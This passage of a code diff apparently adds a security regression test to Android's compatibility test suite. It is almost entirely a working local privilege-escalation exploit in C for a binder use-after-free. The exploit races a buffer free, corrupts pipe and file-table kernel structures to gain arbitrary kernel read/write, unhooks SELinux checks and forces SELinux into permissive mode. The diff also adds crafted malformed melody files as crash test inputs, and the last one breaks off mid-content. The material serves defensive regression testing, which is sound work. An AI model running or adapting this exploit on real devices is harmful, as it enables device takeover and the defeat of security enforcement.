+        if (strcmp(name, ".rela.plt") == 0)
+            return &shdr[i];
+    }
+    fail("didn't find .rela.plt");
+    return NULL;
+}
+
+u64 find_elf_clone_got(const char *path) {
+    u64 mapsz;
+    void *elf = map_path(path, &mapsz);
+    ehdr_t *ehdr = (ehdr_t *)elf;
+    shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+    shdr_t *rphdr = find_rela_plt(elf);
+    if (rphdr == NULL) {
+        return (u64)0;
+    }
+    shdr_t *symhdr = &shdr[rphdr->sh_link];
+    shdr_t *strhdr = &shdr[symhdr->sh_link];
+    sym_t *sym = ((sym_t *)elf) + symhdr->sh_offset;
+    char *str = ((char *)elf) + strhdr->sh_offset;
+    rela_t *r = ((rela_t *)elf) + rphdr->sh_offset;
+    rela_t *end = r + rphdr->sh_size / sizeof(rela_t);
+    u64 ret = 0;
+    for (; r < end; r++) {
+        sym_t *s = &sym[ELF64_R_SYM(r->r_info)];
+        if (strcmp(str + s->st_name, "clone") == 0) {
+            ret = r->r_offset;
+            break;
+        }
+    }
+    if (!ret) {
+        fail("clone rela not found");
+        return (u64)0;
+    }
+    if (munmap(elf, mapsz) < 0) {
+        fail("munmap fail");
+        return (u64)0;
+    }
+    return ret;
+}
+
+int hook_tid;
+int (*real_clone)(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f);
+
+int clone_unshare_files(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f) {
+    if (gettid() == hook_tid)
+        flags &= ~CLONE_FILES;
+    return (*real_clone)(a, b, flags, c, d, e, f);
+}
+
+void unshare_following_clone_files() {
+    hook_tid = gettid();
+}
+
+void hook_clone() {
+    void *p = (void*)((uintptr_t)clone & ~0xffful);
+    while (*(u32*)p != 0x464c457f)
+        p = (void *)(((u32 *)p) - 0x1000);
+    u64 *got = ((u64 *)p) + find_elf_clone_got("/system/lib64/libc.so");
+    if (*got != (u64)clone)
+        fail("bad got");
+    real_clone = (void*)clone;
+    void *page = (void*)((u64)got & ~0xffful);
+    if (mprotect(page, 0x1000, PROT_READ | PROT_WRITE) < 0) {
+        fail("got mprotect fail");
+        return;
+    }
+    *got = (u64)clone_unshare_files;
+}
+
+u32 r32(u64 addr);
+u64 r64(u64 addr);
+void w64(u64 addr, u64 val);
+void w128(u64 addr, u64 v1, u64 v2);
+u64 scratch;
+u64 rw_task;
+u64 current;
+u64 fdarr;
+
+void hlist_del(u64 node) {
+    u64 next = r64(node);
+    u64 pprev = r64(node + 8);
+    if (r64(pprev) != node) {
+        fail("bad hlist");
+        return;
+    }
+    w64(pprev, next);
+    if (next)
+        w64(next + 8, pprev);
+}
+
+u64 get_file(int fd) {
+    return r64(fdarr + fd * 8);
+}
+
+u64 first_bl(u64 func) {
+    for (int i = 0; i < 30; i++) {
+        u32 inst = r32(func + i * 4);
+        if ((inst >> 26) == 0x25) { // bl
+            s64 off = inst & ((1u << 26) - 1);
+            off <<= 64 - 26;
+            off >>= 64 - 26;
+            return func + i * 4 + off * 4;
+        }
+    }
+    fail("bl not found");
+    return (u64)-1;
+}
+
+int is_adrp(u32 inst) {
+    return ((inst >> 24) & 0x9f) == 0x90;
+}
+
+u64 parse_adrp(u64 p, u32 inst) {
+    s64 off = ((inst >> 5) & ((1u << 19) - 1)) << 2;
+    off |= (inst >> 29) & 3;
+    off <<= (64 - 21);
+    off >>= (64 - 21 - 12);
+    return (p & ~0xffful) + off;
+}
+
+u64 find_adrp_add(u64 addr) {
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        u32 inst = r32(addr);
+        if (is_adrp(inst)) {
+            u64 ret = parse_adrp(addr, inst);
+            inst = r32(addr + 4);
+            if ((inst >> 22) != 0x244) {
+                fail("not add after adrp");
+                return (u64)-1;
+            }
+            ret += (inst >> 10) & ((1u << 12) - 1);
+            return ret;
+        }
+        addr += 4;
+    }
+    fail("adrp add not found");
+    return (u64)-1;
+}
+
+u64 locate_hooks() {
+    char path[256];
+    DIR *d = opendir("/proc/self/map_files");
+    char *p;
+    while (1) {
+        struct dirent *l = readdir(d);
+        if (!l)
+            fail("readdir fail");
+        p = l->d_name;
+        if (strcmp(p, ".") && strcmp(p, ".."))
+            break;
+    }
+    sprintf(path, "/proc/self/map_files/%s", p);
+    closedir(d);
+    int fd = open(path, O_PATH | O_NOFOLLOW | O_RDONLY);
+    if (fd < 0)
+        fail("link open fail");
+    struct stat st;
+    if (fstat(fd, &st) < 0)
+        fail("fstat fail");
+    if (!S_ISLNK(st.st_mode))
+        fail("link open fail");
+    u64 file = get_file(fd);
+    u64 inode = r64(file + 0x20);
+    u64 iop = r64(inode + 0x20);
+    u64 follow_link = r64(iop + 8);
+    u64 cap = first_bl(follow_link);
+    u64 scap = first_bl(cap);
+    if (cap == (u64)-1 || scap == (u64)-1) {
+        dbg("cap=%016zx", cap);
+        dbg("scap=%016zx", scap);
+        return (u64)-1;
+    }
+    u64 hooks = find_adrp_add(scap);
+    close(fd);
+    dbg("hooks=%016zx", hooks);
+    return hooks;
+}
+
+void unhook(u64 hooks, int idx) {
+    u64 hook = hooks + idx * 0x10;
+    w128(hook, hook, hook);
+}
+
+u64 locate_avc(u64 hooks) {
+    u64 se_file_open = r64(r64(hooks + 0x490) + 0x18);
+    u64 seqno = first_bl(se_file_open);
+    if (seqno == (u64)-1) {
+        dbg("seqno=%016zx", seqno);
+        return (u64)-1;
+    }
+    u64 avc = find_adrp_add(seqno);
+    dbg("avc=%016zx", avc);
+    return avc;
+}
+
+u32 get_sid() {
+    u64 real_cred = r64(current + 0x788);
+    u64 security = r64(real_cred + 0x78);
+    u32 sid = r32(security + 4);
+    dbg("sid=%u", sid);
+    return sid;
+}
+
+struct avc_node {
+    u32 ssid;
+    u32 tsid;
+    u16 tclass;
+    u16 pad;
+    u32 allowed;
+};
+
+u64 grant(u64 avc, u32 ssid, u32 tsid, u16 class) {
+    struct avc_node n;
+    n.ssid = ssid;
+    n.tsid = tsid;
+    n.tclass = class;
+    n.pad = 0;
+    n.allowed = ~0u;
+    u64 node = scratch;
+    for (int i = 0; i < 9; i++)
+        w64(node + i * 8, 0);
+    u64 *src = (u64*)&n;
+    w64(node, src[0]);
+    w64(node + 8, src[1]);
+    int hash = (ssid ^ (tsid<<2) ^ (class<<4)) & 0x1ff;
+    u64 head = avc + hash * 8;
+    u64 hl = node + 0x28;
+    u64 first = r64(head);
+    w128(hl, first, head);
+    if (first)
+        w64(first + 8, hl);
+    w64(head, hl);
+    dbg("granted security sid");
+    return hl;
+}
+
+int enforce() {
+    int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+    if (fd < 0)
+        return 1;
+    dbg("enforce=%d", fd);
+    char buf;
+    if (read(fd, &buf, 1) != 1)
+        return 1;
+    close(fd);
+    return buf == '1';
+}
+
+void disable_enforce() {
+    int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
+    if (fd >= 0) {
+        write(fd, "0", 1);
+        close(fd);
+    }
+    if (enforce())
+        fail("failed to switch selinux to permissive");
+    dbg("selinux now permissive");
+}
+
+void disable_selinux() {
+    if (!enforce()) {
+        dbg("selinux already permissive");
+        return;
+    }
+    u64 hooks = locate_hooks();
+    if (hooks == (u64)-1) {
+        return;
+    }
+    u64 avc = locate_avc(hooks);
+    if (avc == (u64)-1) {
+        return;
+    }
+    unhook(hooks, 0x08); // capable
+    unhook(hooks, 0x2f); // inode_permission
+    unhook(hooks, 0x3d); // file_permission
+    unhook(hooks, 0x49); // file_open
+    u64 avcnode = grant(avc, get_sid(), 2, 1);
+    disable_enforce();
+    hlist_del(avcnode);
+}
+
+#define PIPES 8
+#define STAGE2_THREADS 64
+
+int cpumask;
+int cpu1;
+int cpu2;
+int tot_cpus;
+const char *pipedir;
+char *pipepath;
+char *pipeid;
+int pipefd[PIPES];
+sync_t *free_sync;
+sync_t *poll_sync;
+sync_t *stage2_sync1;
+sync_t *stage2_sync2;
+sync_t *rw_thread_sync;
+int bnd1, bnd2;
+u32 to1;
+u64 free_ptr;
+u64 trigger_time;
+int total_txns;
+int bad_pipe;
+int uaf_pipe;
+volatile int uaf_alloc_success;
+u64 pipe_inode_info;
+int rw_thread_tid;
+volatile int rw_cmd;
+volatile int rw_bit;
+volatile int rw_val;
+u64 free_data;
+u64 next_free_data;
+
+void select_cpus() {
+    cpu1 = cpu2 = -1;
+    for (int i = 7; i >= 0; i--) {
+        if (do_set_cpu(i) < 0)
+            continue;
+        cpumask |= (1 << i);
+        if (cpu1 < 0)
+            cpu1 = i;
+        else if (cpu2 < 0)
+            cpu2 = i;
+        tot_cpus++;
+    }
+    if (cpu1 < 0 || cpu2 < 0) {
+        fail("huh, couldn't find 2 cpus");
+    }
+    dbg("cpumask=%02x cpu1=%d cpu2=%d", cpumask, cpu1, cpu2);
+}
+
+void rw_thread(u64 idx);
+void free_thread(u64 arg);
+void poll_thread(u64 arg);
+
+int cpu_available(int cpu) {
+    return !!(cpumask & (1 << cpu));
+}
+
+void hog_cpu_thread(u64 arg) {
+    set_cpu(cpu2);
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+    }
+}
+
+void launch_threads() {
+    launch_thread("txnuaf.log", log_thread, NULL, 0, 1);
+    launch_thread("txnuaf.hog", hog_cpu_thread, NULL, 0, 1);
+    launch_thread("txnuaf.free", free_thread, &free_sync, 0, 1);
+    launch_thread("txnuaf.poll", poll_thread, &poll_sync, 0, 1);
+    rw_thread_tid = launch_thread("txnuaf.rw", rw_thread, &rw_thread_sync, 0, 0);
+}
+
+void open_binders() {
+    u32 xchg;
+    bnd1 = get_binder(&xchg);
+    exchg_put_binder(bnd1, xchg);
+    dec_ref(bnd1, xchg);
+    bnd2 = get_binder(&xchg);
+    to1 = exchg_get_binder(bnd2, xchg);
+    dec_ref(bnd1, xchg);
+}
+
+void make_pipe_path() {
+    size_t l = strlen(pipedir);
+    pipepath = malloc(l + 4); // "/pd\0"
+    strcpy(pipepath, pipedir);
+    pipepath[l++] = '/';
+    pipeid = pipepath + l;
+}
+
+int open_pipe(int idx) {
+    if (!pipepath)
+        make_pipe_path();
+    sprintf(pipeid, "p%d", idx);
+    int fd = open(pipepath, O_RDWR);
+    if (fd < 0)
+        fail("pipe open fail");
+    return fd;
+}
+
+void open_pipes() {
+    for (int i = 0; i < PIPES; i++)
+        pipefd[i] = open_pipe(i);
+}
+
+int do_poll(int fd, int timeout) {
+    struct pollfd pfd;
+    pfd.fd = fd;
+    pfd.events = 0;
+    pfd.revents = 0;
+    if (poll(&pfd, 1, timeout) < 0)
+        fail("pipe poll fail");
+    return pfd.revents;
+}
+
+int find_bad_pipe() {
+    for (int i = 0; i < PIPES; i++) {
+        if (do_poll(pipefd[i], 0) & POLLHUP) {
+            dbg("corrupted pipe at %d", i);
+            bad_pipe = pipefd[i];
+            sprintf(pipeid, "p%d", i);
+            return 1;
+        }
+    }
+    return 0;
+}
+
+void close_pipes() {
+    for (int i = 0; i < PIPES; i++) {
+        if (close(pipefd[i]) < 0)
+            fail("close pipe fail, i=%d fd=%d", i, pipefd[i]);
+    }
+}
+
+void free_thread(u64 arg) {
+    set_timerslack();
+    set_cpu(cpu1);
+    set_idle();
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        sync_wait(free_sync);
+        buf_t *buf = new_buf();
+        buf_u32(buf, BC_FREE_BUFFER);
+        buf_uintptr(buf, free_ptr);
+        struct binder_write_read bwr;
+        memset(&bwr, 0x00, sizeof(bwr));
+        bwr.write_buffer = (u64)buf->p;
+        bwr.write_size = buf->off;
+        int off = cpu1 < 4 ? 1300 : 350;
+        u64 target_time = trigger_time - off;
+        while (time_now() < target_time)
+            ;
+        ioctl(bnd1, BINDER_WRITE_READ, &bwr);
+        free_buf(buf);
+        sync_done(free_sync);
+    }
+};
+
+void race_cycle() {
+    dbg("race cycle, this may take time...");
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        send_txn(bnd2, to1, 0, NULL, NULL);
+        txn_t t1, t2;
+        recv_txn(bnd1, &t1);
+        free_ptr = txn_buf(&t1);
+        trigger_time = time_now() + 100000;
+        sync_signal(free_sync);
+        sleep_until(trigger_time);
+        send_reply(bnd1);
+        open_pipes();
+        recv_txn(bnd2, &t2);
+        free_txn(&t2);
+        sync_wait_done(free_sync);
+        if (find_bad_pipe())
+            break;
+        close_pipes();
+    }
+}
+
+void reopen_pipe() {
+    uaf_pipe = open(pipepath, O_WRONLY);
+    if (uaf_pipe < 0)
+        fail("reopen pipe fail");
+}
+
+void stage2_thread(u64 cpu);
+
+void stage2_launcher(u64 arg) {
+    dup2(uaf_pipe, 0);
+    dup2(bnd1, 1);
+    dup2(bnd2, 2);
+    for (int i = 3; i < 1024; i++)
+        close(i);
+    unshare_following_clone_files();
+    int cpu_count =  android_getCpuCount();
+    for (int cpu = 0; cpu < cpu_count; cpu++) {
+        if (cpu_available(cpu)) {
+            for (int i = 0; i < STAGE2_THREADS; i++)
+                launch_thread("txnuaf.stage2", stage2_thread, NULL, cpu, 0);
+        }
+    }
+}
+
+void signal_xpl_threads() {
+    sync_signal(stage2_sync1);
+    sync_wait_done(stage2_sync1);
+    sync_signal(stage2_sync2);
+    sync_wait_done(stage2_sync2);
+}
+
+void launch_stage2_threads() {
+    stage2_sync1 = alloc_sync();
+    stage2_sync2 = alloc_sync();
+    sync_set_num_waiters(stage2_sync1, STAGE2_THREADS);
+    sync_set_num_waiters(stage2_sync2, (tot_cpus - 1) * STAGE2_THREADS);
+    hook_clone();
+    unshare_following_clone_files();
+    launch_thread("txnuaf.stage2_launcher", stage2_launcher, NULL, 0, 0);
+    // set cpu
+    signal_xpl_threads();
+}
+
+void alloc_txns(int n) {
+    total_txns += n;
+    size_t totsz = n * (4 + sizeof(struct binder_transaction_data));
+    buf_t *buf = new_buf_sz(totsz);
+    for (int i = 0; i < n; i++) {
+        buf_u32(buf, BC_TRANSACTION);
+        struct binder_transaction_data *tr;
+        tr = buf_alloc(buf, sizeof(*tr));
+        tr->target.handle = to1;
+        tr->code = 0;
+        tr->flags |= TF_ONE_WAY;
+        tr->data.ptr.buffer = 0;
+        tr->data.ptr.offsets = 0;
+        tr->data_size = 0;
+        tr->offsets_size = 0;
+    }
+    binder_write(bnd2, buf);
+}
+
+void recv_all_txns(int fd) {
+    for (int i = 0; i < total_txns; i++) {
+        txn_t t;
+        recv_txn(fd, &t);
+        free_txn(&t);
+    }
+}
+
+void clean_slab() {
+    // clean node
+    alloc_txns(4096);
+    // clean each cpu
+    int cpu_count =  android_getCpuCount();
+    for (int i = 0; i < cpu_count; i++) {
+        if (cpu_available(i)) {
+            set_cpu(i);
+            alloc_txns(512);
+        }
+    }
+    set_cpu(cpu1);
+    // for good measure
+    alloc_txns(128);
+}
+
+void poll_thread(u64 arg) {
+    set_timerslack();
+    sync_wait(poll_sync);
+    do_poll(uaf_pipe, 200);
+    dbg("poll timeout");
+    sync_done(poll_sync);
+}
+
+void free_pipe_alloc_fdmem() {
+    clean_slab();
+    sync_signal(poll_sync);
+    usleep(50000);
+    if (close(bad_pipe) < 0) {
+        fail("free close fail");
+        return;
+    }
+    // alloc fdmem
+    signal_xpl_threads();
+    // set all bits
+    signal_xpl_threads();
+    dbg("fdmem spray done");
+    sync_wait_done(poll_sync);
+    recv_all_txns(bnd1);
+}
+
+void find_pipe_slot_thread() {
+    signal_xpl_threads();
+    if (!uaf_alloc_success)
+        fail("inode_info uaf alloc fail - this may sometimes happen, "
+             "kernel may crash after you close the app");
+}
+
+void set_all_bits() {
+    for (int i = 0x1ff; i >= 3; i--)
+        if (dup2(1, i) < 0)
+            fail("dup2 fail, fd=%d", i);
+}
+
+void winfo32_lo(int addr, u32 dat) {
+    int startbit = addr ? 0 : 3;
+    addr *= 8;
+    for (int i = startbit; i < 32; i++) {
+        int fd = addr + i;
+        if (dat & (1ul << i)) {
+            if (dup2(1, fd) < 0)
+                fail("winfo dup2 fail, fd=%d", fd);
+        } else {
+            if (close(fd) < 0 && errno != EBADF)
+                fail("winfo close fail, fd=%d", fd);
+        }
+    }
+}
+
+void winfo32_hi(int addr, u32 dat) {
+    addr *= 8;
+    for (int i = 0; i < 32; i++) {
+        u32 bit = dat & (1u << i);
+        int fd = addr + i;
+        if (fcntl(fd, F_SETFD, bit ? FD_CLOEXEC : 0) < 0) {
+            if (errno != EBADF || bit)
+                fail("winfo fcntl fail fd=%d", fd);
+        }
+    }
+}
+
+void winfo32(int addr, u32 dat) {
+    if (addr < 0x40)
+        winfo32_lo(addr, dat);
+    else
+        winfo32_hi(addr - 0x40, dat);
+}
+
+void winfo64(int addr, u64 dat) {
+    winfo32(addr, dat);
+    winfo32(addr + 4, dat >> 32);
+}
+
+u64 rinfo64(int addr) {
+    addr *= 8;
+    u64 ret = 0;
+    for (int i = 0; i < 64; i++) {
+        int fd = addr + i;
+        fd_set set;
+        FD_ZERO(&set);
+        FD_SET(fd, &set);
+        struct timeval timeout;
+        timeout.tv_sec = 0;
+        timeout.tv_usec = 0;
+        if (select(fd + 1, &set, NULL, NULL, &timeout) >= 0)
+            ret |= 1ul << i;
+        else if (errno != EBADF)
+            fail("leak select fail");
+    }
+    return ret;
+}
+
+int files_off = 0x30;
+int file_off = 0x48;
+int fdt_off = 0x58;
+int fmode_off = 0x78;
+int faoff = 0x10;
+
+void set_pipe_mutex_count(u32 count) {
+    winfo32(0, count);
+}
+
+void set_pipe_nrbufs(u32 nrbufs) {
+    winfo32(0x40, nrbufs);
+}
+
+void set_pipe_curbuf(u32 curbuf) {
+    winfo32(0x44, curbuf);
+}
+
+void set_pipe_buffers(u32 buffers) {
+    winfo32(0x48, buffers);
+}
+
+void set_pipe_readers(u32 readers) {
+    winfo32(0x4c, readers);
+}
+
+void set_pipe_fasync_readers(u64 fasync_readers) {
+    winfo64(0x70, fasync_readers);
+}
+
+void set_pipe_wait_next(u64 next) {
+    winfo64(0x30, next);
+}
+
+u64 get_pipe_wait_next() {
+    return rinfo64(0x30);
+}
+
+void set_fa_magic(u32 magic) {
+    winfo32(faoff + 4, magic);
+}
+
+void set_fa_next(u64 next) {
+    winfo64(faoff + 0x10, next);
+}
+
+void set_fa_file(u64 file) {
+    winfo64(faoff + 0x18, file);
+}
+
+u64 get_mutex_owner() {
+    return rinfo64(0x18);
+}
+
+void set_files_count(int count) {
+    winfo32(files_off, count);
+}
+
+void set_files_fdt(u64 fdt) {
+    winfo64(files_off + 0x20, fdt);
+}
+
+void set_fdt_max_fds(u32 max_fds) {
+    winfo32(fdt_off, max_fds);
+}
+
+void set_fdt_fdarr(u64 fdarr) {
+    winfo64(fdt_off + 8, fdarr);
+}
+
+void set_fdt_close_on_exec(u64 close_on_exec) {
+    winfo64(fdt_off + 0x10, close_on_exec);
+}
+
+void set_file_fmode(u32 fmode) {
+    winfo32(fmode_off, fmode);
+}
+
+void set_file(u64 file) {
+    winfo64(file_off, file);
+}
+
+void stage2();
+
+void stage2_thread(u64 cpu) {
+    sync_t *sync = cpu == cpu1 ? stage2_sync1 : stage2_sync2;
+    sync_wait(sync);
+    do_set_cpu(cpu);
+    sync_done(sync);
+
+    sync_wait(sync);
+    if (dup2(1, 0x1ff) < 0) {
+        fail("dup2 fail");
+        return;
+    }
+    sync_done(sync);
+
+    sync_wait(sync);
+    set_all_bits();
+    sync_done(sync);
+
+    sync_wait(sync);
+    u64 wait_list = get_pipe_wait_next();
+    int ok = wait_list != -1l;
+    if (ok) {
+        uaf_alloc_success = 1;
+        pipe_inode_info = wait_list - 0x30;
+        dbg("pipe_inode_info=%016zx", pipe_inode_info);
+    }
+    sync_done(sync);
+    if (ok)
+        stage2();
+}
+
+void write_pipe_ptr_to(u64 addr) {
+    set_pipe_wait_next(addr - 8);
+    do_poll(0, 50);
+}
+
+void overwrite_pipe_bufs() {
+    write_pipe_ptr_to(pipe_inode_info + 0x80);
+}
+
+void leak_task_ptr() {
+    set_pipe_mutex_count(0x7);
+    set_pipe_wait_next(pipe_inode_info + 0x30);
+    u64 faptr = pipe_inode_info + faoff;
+    set_pipe_fasync_readers(faptr);
+    set_pipe_nrbufs(3);
+    set_pipe_curbuf(0);
+    set_pipe_buffers(4);
+    set_pipe_readers(1);
+    set_fa_magic(0x4601);
+    set_fa_next(faptr);
+    set_fa_file(0xfffffffful); // overlaps with inode_info.wait.lock
+    sync_signal(rw_thread_sync);
+    // wait for rw thread to write mutex owner
+    usleep(100000);
+    rw_task = get_mutex_owner();
+    dbg("rw_task=%016zx", rw_task);
+    // unblock rw thread
+    set_fa_magic(0);
+    if (syscall(SYS_tkill, rw_thread_tid, SIGUSR2) < 0)
+        fail("tkill fail");
+    dbg("signaled rw_thread");
+    sync_wait_done(rw_thread_sync);
+    // wait until klogd has logged the bad magic number error
+    sleep(1);
+}
+
+void overwrite_task_files(u64 task) {
+    write_pipe_ptr_to(task + 0x7c0);
+}
+
+void sigfunc(int a) {
+}
+
+enum {cmd_read, cmd_write, cmd_exit};
+
+void handle_sig() {
+    struct sigaction sa;
+    memset(&sa, 0x00, sizeof(sa));
+    sa.sa_handler = sigfunc;
+    if (sigaction(SIGUSR2, &sa, NULL) < 0)
+        fail("sigaction fail");
+}
+
+void rw_thread(u64 idx) {
+    handle_sig();
+    sync_wait(rw_thread_sync);
+    void *dat = malloc(0x2000);
+    dbg("starting blocked write");
+    if (write(uaf_pipe, dat, 0x2000) != 0x1000) {
+        fail("expected blocking write=0x1000");
+        return;
+    }
+    dbg("write unblocked");
+    sync_done(rw_thread_sync);
+    int done = 0;
+    while (!done) {
+        sync_wait(rw_thread_sync);
+        if (rw_cmd == cmd_read) {
+            int bits = fcntl(rw_bit, F_GETFD);
+            if (bits < 0) {
+                fail("F_GETFD fail");
+                return;
+            }
+            rw_val = !!(bits & FD_CLOEXEC);
+        } else if (rw_cmd == cmd_write) {
+            if (fcntl(rw_bit, F_SETFD, rw_val ? FD_CLOEXEC : 0) < 0) {
+                fail("F_SETFD fail");
+                return;
+            }
+        } else {
+            done = 1;
+        }
+        sync_done(rw_thread_sync);
+    }
+}
+
+void set_fdarr(int bit) {
+    set_fdt_fdarr(pipe_inode_info + file_off - bit * 8);
+}
+
+u8 r8(u64 addr) {
+    u8 val = 0;
+    set_fdt_close_on_exec(addr);
+    for (int bit = 0; bit < 8; bit++) {
+        set_fdarr(bit);
+        rw_bit = bit;
+        rw_cmd = cmd_read;
+        sync_signal(rw_thread_sync);
+        sync_wait_done(rw_thread_sync);
+        val |= rw_val << bit;
+    }
+    return val;
+}
+
+void w8(u64 addr, u8 val) {
+    set_fdt_close_on_exec(addr);
+    for (int bit = 0; bit < 8; bit++) {
+        set_fdarr(bit);
+        rw_bit = bit;
+        rw_val = val & (1 << bit);
+        rw_cmd = cmd_write;
+        sync_signal(rw_thread_sync);
+        sync_wait_done(rw_thread_sync);
+    }
+}
+
+void exit_rw_thread() {
+    rw_cmd = cmd_exit;
+    sync_signal(rw_thread_sync);
+    sync_wait_done(rw_thread_sync);
+}
+
+void w16(u64 addr, u16 val) {
+    w8(addr, val);
+    w8(addr + 1, val >> 8);
+}
+
+void w32(u64 addr, u32 val) {
+    w16(addr, val);
+    w16(addr + 2, val >> 16);
+}
+
+void w64(u64 addr, u64 val) {
+    w32(addr, val);
+    w32(addr + 4, val >> 32);
+}
+
+u16 r16(u64 addr) {
+    return r8(addr) | (r8(addr + 1) << 8);
+}
+
+u32 r32(u64 addr) {
+    return r16(addr) | (r16(addr + 2) << 16);
+}
+
+u64 r64(u64 addr) {
+    return r32(addr) | (u64)r32(addr + 4) << 32;
+}
+
+#define magic 0x55565758595a5b5cul
+
+void set_up_arbitrary_rw() {
+    overwrite_task_files(rw_task);
+    set_all_bits();
+    set_files_count(1);
+    set_files_fdt(pipe_inode_info + fdt_off);
+    set_fdt_max_fds(8);
+    set_file(pipe_inode_info + fmode_off - 0x44);
+    set_file_fmode(0);
+    u64 magic_addr = scratch;
+    w64(magic_addr, magic);
+    if (r64(magic_addr) != magic)
+        fail("rw test fail");
+    dbg("got arbitrary rw");
+}
+
+u64 get_current() {
+    int our_tid = gettid();
+    u64 leader = r64(rw_task + 0x610);
+    u64 task = leader;
+
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        int tid = r32(task + 0x5d0);
+        if (tid == our_tid)
+            return task;
+        task = r64(task + 0x680) - 0x680;
+        if (task == leader)
+            break;
+    }
+    fail("current not found");
+    return (u64)-1;
+}
+
+void get_fdarr() {
+    current = get_current();
+    if (current == (u64)-1) {
+        return;
+    }
+    dbg("current=%016zx", current);
+    u64 files = r64(current + 0x7c0);
+    u64 fdt = r64(files + 0x20);
+    fdarr = r64(fdt + 8);
+}
+
+void place_bnd_buf(u64 v1, u64 v2, txn_t *t) {
+    txn_t t2;
+    int do_free = !t;
+    if (!t)
+        t = &t2;
+    buf_t *dat = new_buf();
+    buf_u64(dat, v1);
+    buf_u64(dat, v2);
+    send_txn(2, to1, 0, dat, NULL);
+    recv_txn(1, t);
+    if (do_free)
+        free_txn(t);
+    send_reply(1);
+    recv_txn(2, &t2);
+    free_txn(&t2);
+}
+
+void w128(u64 addr, u64 v1, u64 v2) {
+    w64(free_data, addr);
+    w64(next_free_data, addr + 0x10);
+    place_bnd_buf(v1, v2, NULL);
+}
+
+void set_up_w128() {
+    u64 bnd = get_file(1);
+    u64 proc = r64(bnd + 0xd0);
+    u64 alloc = proc + 0x1c0;
+    enter_looper(1);
+    txn_t t1, t2;
+    place_bnd_buf(0, 0, &t1);
+    place_bnd_buf(0, 0, &t2);
+    free_txn(&t1);
+    u64 free_buffer = r64(alloc + 0x48);
+    u64 next = r64(free_buffer);
+    w64(alloc + 0x38, 0);
+    w64(alloc + 0x78, ~0ul);
+    free_data = free_buffer + 0x58;
+    next_free_data = next + 0x58;
+    u64 magic_addr = scratch + 8;
+    w128(magic_addr, magic, magic);
+    if (r64(magic_addr) != magic || r64(magic_addr + 8) != magic)
+        fail("w128 test fail");
+    dbg("got w128");
+}
+
+void clean_up() {
+    w64(fdarr, 0);
+    set_files_count(2);
+    exit_rw_thread();
+}
+
+void exploit() {
+    set_thread_name("txnuaf");
+    select_cpus();
+    set_cpu(cpu1);
+    set_timerslack();
+    launch_threads();
+    open_binders();
+    race_cycle();
+    reopen_pipe();
+    launch_stage2_threads();
+    free_pipe_alloc_fdmem();
+    find_pipe_slot_thread();
+}
+
+void stage2() {
+    scratch = pipe_inode_info + 0xb8;
+    overwrite_pipe_bufs();
+    leak_task_ptr();
+    set_up_arbitrary_rw();
+    get_fdarr();
+    set_up_w128();
+    winfo32(0, 0x7);
+    disable_selinux();
+    clean_up();
+}
+
+JNIEXPORT void JNICALL
+Java_android_security_cts_ExploitThread_runxpl(JNIEnv *e, jobject t, jstring jpipedir) {
+    this = (*e)->NewGlobalRef(e, t);
+    add_jenv(e);
+    (*e)->GetJavaVM(e, &jvm);
+    jclass cls = (*e)->GetObjectClass(e, this);
+    add_log = (*e)->GetMethodID(e, cls, "addLog", "(Ljava/lang/String;)V");
+    pipedir = (*e)->GetStringUTFChars(e, jpipedir, NULL);
+    exploit();
+    (*e)->ReleaseStringUTFChars(e, jpipedir, pipedir);
+}
diff --git a/tests/tests/security/res/raw/bug_110435401.mid b/tests/tests/security/res/raw/bug_110435401.mid
deleted file mode 100644
index 184ab1f..0000000
--- a/tests/tests/security/res/raw/bug_110435401.mid
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_123700383.mid b/tests/tests/security/res/raw/bug_123700383.mid
new file mode 100644
index 0000000..1e1ae6b
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_123700383.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_127310810.mid b/tests/tests/security/res/raw/bug_127310810.mid
new file mode 100644
index 0000000..8a64142
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_127310810.mid
@@ -0,0 +1,3 @@
+BEGIN:IMELODY
+BEAT:900
+MELODY:((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((ledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonle